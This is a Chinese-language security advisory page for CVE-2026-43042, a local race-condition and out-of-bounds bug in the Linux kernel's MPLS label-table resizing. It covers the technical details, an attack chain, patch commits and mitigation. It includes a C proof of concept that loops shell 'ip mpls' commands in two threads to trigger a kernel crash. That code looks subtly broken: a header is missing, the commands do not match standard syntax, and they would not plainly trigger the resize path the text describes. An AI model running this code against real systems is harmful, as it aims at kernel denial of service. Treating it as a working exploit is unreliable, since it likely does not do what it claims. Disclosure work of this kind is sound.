IPBUF安全漏洞报告
English
CVE-2026-43042 CVSS 7.1 高危

CVE-2026-43042 Linux内核MPLS越界访问漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43042
漏洞类型
竞态条件/越界访问
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMPLSRace ConditionOOBLocalDoS

漏洞概述

Linux内核中的MPLS(多协议标签交换)模块存在一个由于并发访问导致的安全漏洞。该漏洞发生在RCU保护的代码路径(如mpls_forward和mpls_dump_routes)与标签表调整操作(resize_platform_label_table)之间。由于缺乏适当的同步机制,在并发调整平台标签表大小时,可能导致对platform_labels与platform_label的视图不一致,从而引发越界(OOB)内存访问。本地低权限攻击者可利用此漏洞造成拒绝服务或潜在的信息泄露。

技术细节

该漏洞的核心原理在于Linux内核MPLS子系统中读写操作的竞态条件。读取路径使用RCU机制以优化性能,而写入路径(resize_platform_label_table)在修改标签表时使用platform_mutex互斥锁。当并发操作发生时,读取操作可能在写入操作部分完成(例如已更新size但未更新指针)的时间窗口内访问数据,导致计算出错误的数组索引并访问越界内存。尽管存在mpls_label_ok函数进行边界检查,但在竞态窗口下该检查可能失效。修复方案引入了seqcount序列锁,确保读者在读取时能获取到一致的数据快照,防止在表调整期间的非法内存访问。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限访问权限。
STEP 2
步骤2
执行程序触发MPLS路由转发或转储操作(读取路径)。
STEP 3
步骤3
并发执行MPLS标签表的修改操作以触发表大小调整(写入路径)。
STEP 4
步骤4
利用竞态窗口导致读取操作访问越界内存,引发内核崩溃或信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43042 * Trigger race condition in MPLS label table resizing vs forwarding. */ #include <pthread.h> #include <unistd.h> #include <stdlib.h> // Thread 1: Continuously resize the MPLS label table void* trigger_resize(void* arg) { while(1) { // Simulate adding/removing labels to trigger resize system("ip mpls add label 1000 2>/dev/null"); system("ip mpls del label 1000 2>/dev/null"); } return NULL; } // Thread 2: Trigger forwarding/dumping (RCU read side) void* trigger_forward(void* arg) { while(1) { // Access the table to trigger the race system("ip mpls show 2>/dev/null"); } return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting CVE-2026-43042 PoC...\n"); pthread_create(&t1, NULL, trigger_resize, NULL); pthread_create(&t2, NULL, trigger_forward, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

影响范围

Linux Kernel < Commit 5bb3caf0bbfb56f1a00d2af072ac3d8395a3b9ef
Linux Kernel < Commit 629ec78ef8608d955ce217880cdc3e1873af3a15

防御指南

临时缓解措施
建议立即更新Linux内核以应用修复补丁。该补丁通过引入seqcount机制来同步读取和写入操作,确保在调整标签表大小时数据视图的一致性。在无法立即升级的环境中,可以禁用MPLS模块或限制本地用户的权限以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表